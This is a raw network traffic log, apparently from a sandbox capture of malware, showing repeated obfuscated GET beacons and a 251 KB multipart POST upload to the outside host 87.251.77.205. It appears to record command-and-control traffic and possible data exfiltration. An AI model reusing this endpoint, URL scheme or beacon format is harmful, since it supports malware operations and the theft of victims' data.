YplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&47521bacdc488af1c704f1a288e37fec=d1nImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiImZGN0MmZkVDZlJTNhRzY1EzM1UmM0QjNyMWM0EzM3MDM1ATNyIjN1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOisHL9JSOx4WSvkUaPlWQE90aWRkWrJEVNdXSU5ENrRlWqZ0RaNTWH1EboRlWoZEVZp3Y61kMnpmWyEFVPhXUy40dFpWSzlUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlWQqlkNJlWWwkleZNTRtlFbWdkW3F1Va1mRX1kaoRkTykVbORTRtlFaKpWTrxmaNlXSX50MFd0T4VVbZl2cu9UaFdEZoJVRkRjVtl0cVp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaV1GZwJ1MZJkSp9UaNhFZwY0RkRFbIRGcahVYw40VRl2dplUeWJjWoVzVZ5kQTJGaKNjW2pESVl2bql0M5ckW1xmMWVlTVFVa3lWSPpUaPlGMXllaKdlWY5EWhl2dplkWKl2TpVVbiZHaHNmdKNTWwFDMjBnSDxUarlmYzkTbiJXNXZ1bBlmYzkTbiJXNXZVavpWSsFzVZ9kVGVFRKNETptWaiNTOtJmc1clVvFUaiNTOtJmc1clVp9maJxWMXl1TWZUVIp0QMl2aslkNJlmYwFzRaJkTYFWa3lWSp9maJhkRFZVa3lWSwwWbRdWUq50Z0UUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKNkYxkzVaRVOTlFcOhVUp9maJxWNyImNWdlYwJlbJNXSD10dBRUT3FkaJZTSDJGaSNzY2JkbJNXSTlFbKNjYMJ0QhBjVzIGVCNFTnF1VaBnWXFmaWd0Y6J0QkZXNrlkNJlnW5lTbJNXS55kMjRUT1NmaNh3dT9UMVpmT1NmeNl2bqlka5ckYpdXaJNFdrlkNJNVZ5JlbiFTOykVa3lWSzZ1MixmTslkNJlmY2xmMaxmSul0cJNFZuFTaiZHZzI2TKl2TptGSkBnTtl0cJlWTxUkaMBTTU1UdnRUT5RzUONTRqlkNJN0YwpUelZTS5JWb1c1U3x2aJNXSp1UeRNzYsJlbJZTSTpFdG1GV5ZlMjZlSDxUaNVUV0lkaNVlTWJVVKl2TpV1VihWNwEVUKNETp1keNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIjhjM4UWO5cjY0MzM5gTO5MjYjBTO1UDZ0Y2MwMjZhhTMyYDN4QmYiJiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 2758	1	2758
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1088	1	1088
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiEFSlBTNptkeOhVW3B3QJdTTyI2a1k2SLBTQOJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI2gDZjZmZ5UDZiljNzE2N1YjZhVzY2I2NmNTMkJjY0ImZiBDZ0kDM0IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1124	1	1124
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=0VfiIiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1404 sent: 1088	1	1088
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&19ba5fbb1230b3f30be35064149e6e70=0VfiQzaPBjVHJ2cGJjVnhzRkdHbuNGRCl3Yoh2aD5ENr9EMWdkYzZkMWdWRq1EbOBTU0UUVZNEaqJFaKpmWCpleO1mUH1URSBTT1klMZBTV65UbSdkUy00aahXSUlVMZp2QORzaPBjVHJ2cGJjVnFFWaNHeXl1MClmY2JFbD5ENr9EMWdkYzZkMWd2cyMGaxcVWwY1VUtEMnRlNRhlWzh3VZhlQTFmdKNjYaBXUE9EcERGb4dkYoRmRJlmVyY1Z0ADVVBXUE9EcERGb4dkYoRmRJRXOHRWdGdUYRBXUE9EcERGb4dkYoRmRJlmVyY1ZVJTW1ZUbiBnSrNkT0s2TwY1RiNnRyY1Z0cVY1lTbVtEMnRlNRhlWzh3VZhlQ5FWdsdEV1lTbjVFcRR0TwREZsh3RihGZGlkcOhVWOZ0RkxWMrNkT0s2TwY1RiNnRyY1ZnJzYo5UbXtEMnRlNRhlWzh3VZhlQ5JWeW1mY2FzaD5ENr9EMWdkYzZkMWdWVtNmdOtmYwljMZxmUYFWTwFFRPBHRkxGeHJGakZUS6ZFSaZHaYJ1SwcGV2EFWaNHeXlFWCNlYxYVbjxGaHRmRwFFRPBHRkxGeHJGakZUS0ZlbjBjTXp1cWt2QORzaPBjVHJ2cGJjVnVVbjZnTFFmeGdkULBzZUZTUYp1c4dVWYJUaiBXOykFbShVZDBXUE9EcERGb4dkYoRmRJxmSzIGR1cVY250RkBnSrNkT0s2TwY1RiNnRyY1ZNdVY0lzRkJEcRR0TwREZsh3RihGZGlUNKNjY0pEWRtEMnRlNRhlWzh3VZhlQTpla1cVW1xWbRJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiJmMjhTNwImZmVWN4AzYhFGN0MWY5ATZ4ADZ2EDNkVWNiZDOiBDNzIiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1908	1	1908
send March 14, 2023, 10:35 a.m.	buffer: socket: 1404 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JSUNJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiI1gDNkdTM1MzYyMDM2I2MiNzNkRDNiRTOxMGZjNDZhBTOmJzMmNGZ1IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 socket: 1284 sent: 1091	1	1091
send March 14, 2023, 10:35 a.m.	buffer: POST /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY HTTP/1.1 Content-Type: multipart/form-data; boundary=----------WebKitFormBoundaryUMYiXUYfM6C5cpRw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Host: 87.251.77.205 Content-Length: 251279 Expect: 100-continue socket: 1284 sent: 884	1	884
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 251279	1	251279
send March 14, 2023, 10:35 a.m.	buffer: socket: 1404 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: socket: 1284 sent: 4709	1	4709
send March 14, 2023, 10:35 a.m.	buffer: GET /Universal/2windows8Image/BaseJavascript0/Geo7flowerWp/4longpollsecureGenerator/6Linux7/VideoSecurevideo/0temporary/Http4protect/4Windowsdownloadspublic/JavascriptPhpVideosql/6Low/Game3/UpdateUniversal/video3/TrafficbasebasePipe/Generator9/trackDownloads/javascriptproton/ProvidervideomultiBase.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&db7fb5e1b0f1cf3f6904a97d8988b487=QZxkTM3cjMjNTYzMTYxI2YmZmZmNWZhJmYwEGN0cTNmZ2M3IDNhVmMzMDM1kjN2czMyYDO4kDN&638d48ba9996f27aeb8500fecb12600a=AMxQ2YwEmYjFWM3cDO0kzYjhTZyMjMiNDM1YGN1E2N2MjZ3kTM5UjY&ea2f520425b9639ae81fd5c491eec651=QX9JCNpxUdwYkT2FkeXdWTuJGckdFZzJESJlnVHJGaWdEZ6JUeaVHbyMmeWJTW2pESVJiOiczYzkjZwMzNmBzNwUDZlFmM2kzM3IWYiF2NlRjZ0ATOiwiIiZTM3cDNyMTNjF2YjRGOxMDM2gDO3MDOjJTYyAjYyIjYyQmN0U2Y5IiOiUTY1IDZ0UDOmRWOhNDOkFWMlhDMjJ2MxYmMyATYhhDZiwiIiVmNzEWNhJGNjZWYkZmYiFzN5UWZ0cDNxMzYxMTOwETMxIWMlFTZmJiOikTOhhTM1Q2MkNGNiZ2NmNmZ0EDO5QWM2UDMzYTMzQDOis3W HTTP/1.1 Accept: / Content-Type: text/javascript User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 